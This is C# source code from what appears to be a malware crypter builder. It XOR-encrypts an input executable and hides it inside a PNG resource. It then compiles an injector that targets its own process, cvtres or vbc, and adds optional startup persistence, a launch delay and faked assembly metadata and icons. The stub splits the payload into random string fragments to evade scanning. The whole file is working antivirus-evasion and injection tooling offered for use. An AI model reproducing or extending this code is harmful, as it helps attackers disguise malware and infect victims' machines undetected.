private DreamSettings GetSettings() { DreamSettings ds = new DreamSettings(); ds.FileName = inputFileText.Text; ds.Install = installCheck.Checked; ds.InstallName = startupNameText.Text; ds.ProcessName = processNameText.Text; ds.InjectionTarget = itselfRadio.Checked ? "itself" : cvtresRadio.Checked ? "cvtres" : "vbc"; ds.Delay = delayCheck.Checked; ds.DelaySeconds = (int)delayNum.Value; ds.AssemblyDescription = asmDescriptionText.Text; ds.AssemblyProductName = asmProductNameText.Text; ds.AssemblyCompany = asmCompanyText.Text; ds.AssemblyCopyright = asmCopyrightText.Text; ds.AssemblyVersion = asmVersionText.Text; ds.IconPath = iconText.Text; return(ds); }
public bool Protect(DreamSettings settings, string outputPath) { string rName = ""; try { log.LogInformation("Reading input file..."); // Read file as bytes byte[] file = File.ReadAllBytes(settings.FileName); // Create Encruyption key byte[] key = new byte[random.Next(16, 32)]; random.NextBytes(key); // Encrypt file bytes with Xor byte[] enFile = Xor(file, key); // Turn encrypted file into a bitmap/image Bitmap img = ConvertTo(enFile); // Add new encrypted bitmap to exe resources string rId; rName = Guid.NewGuid().ToString("N").Substring(0, 5) + ".resources"; rId = Guid.NewGuid().ToString("N").Substring(0, 5) + ".png"; ResourceWriter rw = new ResourceWriter(rName); rw.AddResource(rId, img); log.LogInformation("Generating resources..."); rw.Generate(); rw.Close(); // Read Injector file and edit properties string dllSource; #if DEBUG dllSource = File.ReadAllText(@"..\..\..\Library\D.cs"); #else dllSource = File.ReadAllText("alpha.dll"); #endif dllSource = dllSource.Replace("%TARGET%", settings.InjectionTarget); dllSource = dllSource.Replace("%RESNAME%", rName); dllSource = dllSource.Replace("%RESID%", rId); dllSource = dllSource.Replace("%KEY%", Convert.ToBase64String(key)); string defines = ""; if (settings.Install) { dllSource = dllSource.Replace("%STARTUPNAME%", settings.InstallName); dllSource = dllSource.Replace("%PROCESSNAME%", settings.ProcessName); defines += "INSTALL;"; } if (settings.Delay) { dllSource = dllSource.Replace("%DELAY%", settings.DelaySeconds.ToString("D")); defines += "DELAY;"; } string dllPath = string.Format("{0}.dll", Guid.NewGuid().ToString("N").Substring(0, 5)); log.LogInformation("Compiling library..."); if (!Codedom.Compile(dllPath, "cs", new string[] { dllSource }, null, defines, new string[] { "System.Windows.Forms.dll", "System.Drawing.dll" }, null, "library", 20)) { throw new Exception("Failed to compile library!"); } byte[] dllData = File.ReadAllBytes(dllPath); File.Delete(dllPath); // now create stub/loader string stubSource; #if DEBUG stubSource = File.ReadAllText(@"..\..\..\Loader\Program.cs"); #else stubSource = File.ReadAllText("beta.dll"); #endif byte[] key1 = new byte[16]; random.NextBytes(key1); for (int i = 0; i < dllData.Length; i++) { dllData[i] = (byte)(dllData[i] ^ key1[i % key1.Length]); } byte[] buff = new byte[key1.Length + dllData.Length]; Buffer.BlockCopy(key1, 0, buff, 0, key1.Length); Buffer.BlockCopy(dllData, 0, buff, key1.Length, dllData.Length); //*STRINGS*/ string s = BitConverter.ToString(buff).Replace("-", "").ToLowerInvariant(); List <string> a = new List <string>(); int ine = 0; while (ine < s.Length) { int len = random.Next(10, 30); if (ine + len > s.Length) { len = s.Length - ine; } a.Add(s.Substring(ine, len)); ine += len; } StringBuilder sb = new StringBuilder(); foreach (string b in a) { sb.AppendFormat("strings.Add(\"{0}\");\r\n", b); } stubSource = stubSource.Replace("/*STRINGS*/", sb.ToString()); stubSource = stubSource.Replace("%TITLE%", settings.AssemblyDescription); stubSource = stubSource.Replace("%COMPANY%", settings.AssemblyCompany); stubSource = stubSource.Replace("%COPYRIGHT%", settings.AssemblyCopyright); stubSource = stubSource.Replace("%PRODUCTNAME%", settings.AssemblyProductName); stubSource = stubSource.Replace("%VERSION%", settings.AssemblyVersion); stubSource = stubSource.Replace("%GUID%", Guid.NewGuid().ToString("D")); //replace asm log.LogInformation("Compiling loader..."); if (!Codedom.Compile(outputPath, "cs", new string[] { stubSource }, settings.IconPath, null, new string[] { "System.Windows.Forms.dll", "System.Drawing.dll" }, new string[] { rName }, "winexe", 20)) { throw new Exception("Failed to compile loader!"); } log.LogSuccess("Succesfully protected."); return(true); } catch (Exception ex) { log.LogError(ex.Message); if (File.Exists(rName)) { try { File.Delete(rName); } catch { } } return(false); } }